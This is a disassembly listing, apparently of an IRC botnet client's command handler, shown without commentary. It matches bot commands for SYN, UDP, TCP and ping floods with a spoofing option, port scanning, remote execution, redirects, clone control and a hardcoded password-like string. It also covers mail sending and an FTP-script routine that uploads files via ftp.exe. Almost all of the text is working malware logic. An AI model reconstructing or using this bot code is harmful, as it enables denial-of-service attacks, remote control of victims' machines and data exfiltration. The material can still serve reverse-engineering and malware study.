		push	[ebp+arg_8]	; Str2
		push	offset aClone_m	; "clone.m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41306E
		push	[ebp+arg_8]	; Str2
		push	offset aClone_nick ; "clone.nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFD
		push	[ebp+arg_8]	; Str2
		push	offset aClone_ni ; "clone.ni"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFD
		push	[ebp+arg_8]	; Str2
		push	offset aClone_join ; "clone.join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FD7
		push	[ebp+arg_8]	; Str2
		push	offset aClone_j	; "clone.j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FD7
		push	[ebp+arg_8]	; Str2
		push	offset aClone_part ; "clone.part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F74
		push	[ebp+arg_8]	; Str2
		push	offset aClone_p	; "clone.p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F74
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_repeat ; "irc.repeat"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412EAE
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_rp	; "irc.rp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412EAE
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_delay ; "irc.delay"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E13
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_de	; "irc.de"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E13
		push	[ebp+arg_8]	; Str2
		push	offset aUp50	; "up50"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C95
		push	[ebp+arg_8]	; Str2
		push	offset aUp50	; "up50"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C95
		push	[ebp+arg_8]	; Str2
		push	offset aCom_execute ; "com.execute"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C02
		push	[ebp+arg_8]	; Str2
		push	offset aCom_e	; "com.e"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C02
		push	[ebp+arg_8]	; Str2
		push	offset aFindfile ; "findfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B04
		push	[ebp+arg_8]	; Str2
		push	offset aFf	; "ff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B04
		push	[ebp+arg_8]	; Str2
		push	offset aCom_rename ; "com.rename"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AB3
		push	[ebp+arg_8]	; Str2
		push	offset aCom_mv	; "com.mv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412AB3
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_icmp ; "ddos.icmp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129B8
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_ic	; "ddos.ic"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129B8
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	loc_40F215
		push	[ebp+arg_8]	; Str2
		push	offset aClone_make ; "clone.make"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128CD
		push	[ebp+arg_8]	; Str2
		push	offset aClone_start ; "clone.start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128CD
		push	[ebp+arg_8]	; Str2
		push	offset Str2	; "ddos.syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127C8
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_ack ; "ddos.ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127C8
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_random ; "ddos.random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127C8
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126CA
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_synf ; "ddos.synf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126CA
		push	[ebp+arg_8]	; Str2
		push	offset aVSt4w1n	; "v!st4w1n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41258C
		push	[ebp+arg_8]	; Str2
		push	offset aVSt4wN	; "v!st4w!n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41258C
		push	[ebp+arg_8]	; Str2
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412492
		push	[ebp+arg_8]	; Str2
		push	offset aDaemon_rd ; "daemon.rd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412492
		push	[ebp+arg_8]	; Str2
		push	offset aRoot_portscan ;	"root.portscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41239F
		push	[ebp+arg_8]	; Str2
		push	offset aRoot_ps	; "root.ps"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41239F
		push	[ebp+arg_8]	; Str2
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122CA
		push	[ebp+arg_8]	; Str2
		push	offset aClone_pm ; "clone.pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122CA
		push	[ebp+arg_8]	; Str2
		push	offset aClone_action ; "clone.action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121B5
		push	[ebp+arg_8]	; Str2
		push	offset aClone_ac ; "clone.ac"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121B5
		mov	eax, dword ptr [ebp+esi+Args]
		cmp	eax, ebx
		mov	[ebp+Source], eax
		jz	loc_40F215
		push	[ebp+arg_8]	; Str2
		push	offset aRoot_start ; "root.start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E5C
		push	[ebp+arg_8]	; Str2
		push	offset aRoot_s	; "root.s"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E5C
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D3C
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_udpf ; "ddos.udpf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D3C
		push	[ebp+arg_8]	; Str2
		push	offset aU_0	; "u"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D3C
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFB
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_pingf ; "ddos.pingf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFB
		push	[ebp+arg_8]	; Str2
		push	offset aP_0	; "p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFB
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A68
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A68
		push	[ebp+arg_8]	; Str2
		push	offset aUtil_email ; "util.email"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4118A5
		lea	eax, [ebp+var_3F8]
		push	edi		; Source
		push	eax		; Dest
		call	_strcpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	[ebp+Src]	; Source
		mov	[ebp+Str1], eax
		lea	eax, [ebp+var_DB0]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+Source]	; Source
		lea	eax, [ebp+var_BA8]
		push	eax		; Dest
		call	_strcpy
		push	offset asc_4293B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80] ; Src
		call	sub_40A7D2
		push	eax		; Source
		lea	eax, [ebp+var_55C]
		push	eax		; Dest
		call	_strcpy
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	ds:dword_43C590	; WSAStartup
		lea	eax, [ebp+var_3F8]
		push	eax
		call	ds:dword_43C69C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_43C698	; socket
		push	[ebp+Str1]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+Drive], eax
		call	ds:dword_43C618	; htons
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43C5C0	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43C630	; recv
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	ds:dword_43C668	; send
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43C630	; recv
		push	esi
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_43C578	; WSACleanup
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4363E0 ; Format


loc_411891:				; CODE XREF: sub_40EE51+3B62j
					; sub_40EE51+3E3Fj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_413A2F
; ---------------------------------------------------------------------------


loc_4118A5:				; CODE XREF: sub_40EE51+28EAj
		push	[ebp+arg_8]	; Str2
		push	offset aUtil_httpcon ; "util.httpcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A3A
		push	[ebp+arg_8]	; Str2
		push	offset aUtil_hcon ; "util.hcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A3A
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F215
		push	[ebp+arg_8]	; Str2
		push	offset aFtp_upload ; "ftp.upload"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F3C
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41190F
		push	esi
		push	offset dword_436388
		jmp	loc_413BD1
; ---------------------------------------------------------------------------


loc_41190F:				; CODE XREF: sub_40EE51+2AB1j
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		call	_rand
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset Mode	; "ab"
		push	eax		; Filename
		call	_fopen
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_40F215
		push	esi
		push	[ebp+Source]
		push	[ebp+Src]
		push	[ebp+Str1]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax		; File
		call	_fprintf
		push	[ebp+File]	; File
		call	_fclose
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_5	; "-s:%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43C58C
		test	eax, eax
		push	edi
		push	esi		; Format
		jz	short loc_4119D9
		push	offset dword_436310
		jmp	short loc_4119DE
; ---------------------------------------------------------------------------


loc_4119D9:				; CODE XREF: sub_40EE51+2B7Fj
		push	offset dword_4362D4 ; Dest


loc_4119DE:				; CODE XREF: sub_40EE51+2B86j
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A07
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_411A07:				; CODE XREF: sub_40EE51+2B98j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F


loc_411A13:				; CODE XREF: sub_40EE51+2BE7j
		lea	eax, [ebp+Filename]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F215
		lea	eax, [ebp+Filename]
		push	eax
		call	sub_4199AA
		jmp	short loc_411A13
; ---------------------------------------------------------------------------


loc_411A3A:				; CODE XREF: sub_40EE51+2A65j
					; sub_40EE51+2A7Cj
		push	[ebp+esi+var_80]
		push	[ebp+Source]
		push	[ebp+Src]
		push	[ebp+Str1]	; Str
		call	_atoi
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		call	sub_406AEA
		jmp	loc_414F39
; ---------------------------------------------------------------------------


loc_411A68:				; CODE XREF: sub_40EE51+28BCj
					; sub_40EE51+28D3j
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+var_678]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_678]
		push	eax		; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_411ACB
		lea	eax, [ebp+var_678]
		push	eax		; Str2
		push	offset aAck	; "ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411ACB
		lea	eax, [ebp+var_678]
		push	eax		; Str2
		push	offset aRandom	; "random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411ACB
		push	offset dword_43629C
		jmp	loc_4145B5
; ---------------------------------------------------------------------------


loc_411ACB:				; CODE XREF: sub_40EE51+2C40j
					; sub_40EE51+2C57j ...
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF1
		push	edi		; Format
		lea	eax, [ebp+var_678]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Str1]	; Format
		lea	eax, [ebp+var_6F8]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Src]	; Str
		call	_atoi
		mov	[ebp+var_574], eax
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B62
		mov	eax, offset aNormal ; "Normal"


loc_411B62:				; CODE XREF: sub_40EE51+2D0Aj
		push	[ebp+Source]
		push	[ebp+Src]
		push	[ebp+Str1]
		push	edi
		push	eax
		push	offset dword_436248 ; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Ch		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D79
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_411BE0


loc_411BCA:				; CODE XREF: sub_40EE51+2D8Dj
		cmp	[ebp+var_560], ebx
		jnz	loc_4145C3
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_411BCA
; ---------------------------------------------------------------------------


loc_411BE0:				; CODE XREF: sub_40EE51+2D77j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436200
		jmp	loc_413BD1
; ---------------------------------------------------------------------------


loc_411BF1:				; CODE XREF: sub_40EE51+2C8Bj
		push	offset dword_4361B8
		jmp	loc_4145B5
; ---------------------------------------------------------------------------


loc_411BFB:				; CODE XREF: sub_40EE51+2877j
					; sub_40EE51+288Ej ...
		cmp	ds:dword_43C708, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D03
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_318], eax
		call	_atoi
		push	[ebp+Source]	; Str
		mov	[ebp+var_314], eax
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_310], eax
		push	[ebp+Format]	; Source
		lea	eax, [ebp+var_418]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+var_310]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_318]
		push	offset unk_436160 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Eh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 48h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF81
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_411CF2


loc_411CE0:				; CODE XREF: sub_40EE51+2E9Fj
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D1C
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_411CE0
; ---------------------------------------------------------------------------


loc_411CF2:				; CODE XREF: sub_40EE51+2E8Dj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436118
		jmp	loc_4128BC
; ---------------------------------------------------------------------------


loc_411D03:				; CODE XREF: sub_40EE51+2DB3j
		push	1FFh		; Count
		lea	eax, [ebp+Dst]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax		; Dest
		call	_strncpy


loc_411D19:				; CODE XREF: sub_40EE51+3A77j
		add	esp, 0Ch


loc_411D1C:				; CODE XREF: sub_40EE51+2E95j
					; sub_40EE51+2FEAj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414DFC
		push	ebx
		push	[ebp+var_4]


loc_411D29:				; CODE XREF: sub_40EE51+565Ej
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_4145E0
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_40EE51+2832j
					; sub_40EE51+2849j ...
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_318], eax
		call	_atoi
		push	[ebp+Source]	; Str
		mov	[ebp+var_314], eax
		call	_atoi
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA1
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DA7
; ---------------------------------------------------------------------------


loc_411DA1:				; CODE XREF: sub_40EE51+2F3Fj
		mov	[ebp+var_30C], ebx


loc_411DA7:				; CODE XREF: sub_40EE51+2F4Ej
		push	7Fh		; Count
		lea	eax, [ebp+var_418]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+var_310]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_318]
		push	offset dword_4360A8 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Fh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 30h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B10D
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_411E4B


loc_411E35:				; CODE XREF: sub_40EE51+2FF8j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D1C
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_411E35
; ---------------------------------------------------------------------------


loc_411E4B:				; CODE XREF: sub_40EE51+2FE2j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436060
		jmp	loc_4128BC
; ---------------------------------------------------------------------------


loc_411E5C:				; CODE XREF: sub_40EE51+2804j
					; sub_40EE51+281Bj
		push	8
		call	sub_416F90
		push	[ebp+Str1]	; Str
		mov	[ebp+arg_8], eax
		call	_atoi
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EAF
		push	[ebp+arg_8]
		lea	eax, [ebp+Dst]
		push	offset unk_436014 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670


loc_411EA7:				; CODE XREF: sub_40EE51+4468j
		add	esp, 20h
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_411EAF:				; CODE XREF: sub_40EE51+3027j
		push	edi		; Str
		call	_atoi
		push	[ebp+Str1]	; Str
		mov	[ebp+var_330], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_318], eax
		call	_atoi
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_32C], eax
		jnb	short loc_411EE8
		push	5
		pop	eax
		mov	[ebp+var_32C], eax


loc_411EE8:				; CODE XREF: sub_40EE51+308Cj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EF5
		mov	[ebp+var_32C], ecx


loc_411EF5:				; CODE XREF: sub_40EE51+309Cj
		push	[ebp+Source]	; Str
		call	_atoi
		mov	[ebp+var_328], eax
		mov	eax, 320h
		cmp	[ebp+var_328], eax
		pop	ecx
		jbe	short loc_411F17
		mov	[ebp+var_328], eax


loc_411F17:				; CODE XREF: sub_40EE51+30BEj
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	ds:dword_429CB0, ebx
		mov	[ebp+Src], ebx
		jz	short loc_411F6D
		mov	[ebp+File], offset dword_429CB0


loc_411F30:				; CODE XREF: sub_40EE51+30FEj
		mov	eax, [ebp+File]
		push	edi		; Str2
		add	eax, 0FFFFFFD8h
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F53
		add	[ebp+File], 3Ch
		inc	[ebp+Src]
		mov	eax, [ebp+File]
		cmp	[eax], ebx
		jnz	short loc_411F30
		jmp	short loc_411F6D
; ---------------------------------------------------------------------------


loc_411F53:				; CODE XREF: sub_40EE51+30F0j
		mov	eax, [ebp+Src]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_429CB0[ecx]
		mov	[ebp+var_330], ecx


loc_411F6D:				; CODE XREF: sub_40EE51+30D6j
					; sub_40EE51+3100j
		cmp	[ebp+var_330], ebx
		jz	loc_414001
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+Str1], edi
		jz	short loc_411FB4
		cmp	byte ptr [edi],	23h
		jz	short loc_411FB4
		push	edi		; Format
		lea	eax, [ebp+var_444]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		push	78h		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_412088
; ---------------------------------------------------------------------------


loc_411FB4:				; CODE XREF: sub_40EE51+3131j
					; sub_40EE51+3136j
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FD6
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FD6
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FD6
		push	offset unk_435FD0
		jmp	loc_4145B5
; ---------------------------------------------------------------------------


loc_411FD6:				; CODE XREF: sub_40EE51+3169j
					; sub_40EE51+3171j ...
		push	10h
		lea	eax, [ebp+Src]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+Src], edi
		push	[ebp+arg_4]
		call	ds:dword_43C5BC	; getsockname
		mov	al, [ebp+var_9C7]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+Drive], eax
		push	[ebp+Drive]	; Count
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_444]
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412082
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax		; Str
		call	_strrchr
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_412076


loc_412054:				; CODE XREF: sub_40EE51+3223j
		cmp	eax, ebx
		jz	short loc_412076
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_412054


loc_412076:				; CODE XREF: sub_40EE51+3201j
					; sub_40EE51+3205j
		mov	[ebp+var_304], 1
		jmp	short loc_412088
; ---------------------------------------------------------------------------


loc_412082:				; CODE XREF: sub_40EE51+31DBj
		mov	[ebp+var_304], ebx


loc_412088:				; CODE XREF: sub_40EE51+315Ej
					; sub_40EE51+322Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120D9


loc_4120C6:				; CODE XREF: sub_40EE51+32ABj
		push	esi		; Format


loc_4120C7:				; CODE XREF: sub_40EE51+3295j
		lea	eax, [ebp+var_3B4]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_412104
; ---------------------------------------------------------------------------


loc_4120D9:				; CODE XREF: sub_40EE51+3273j
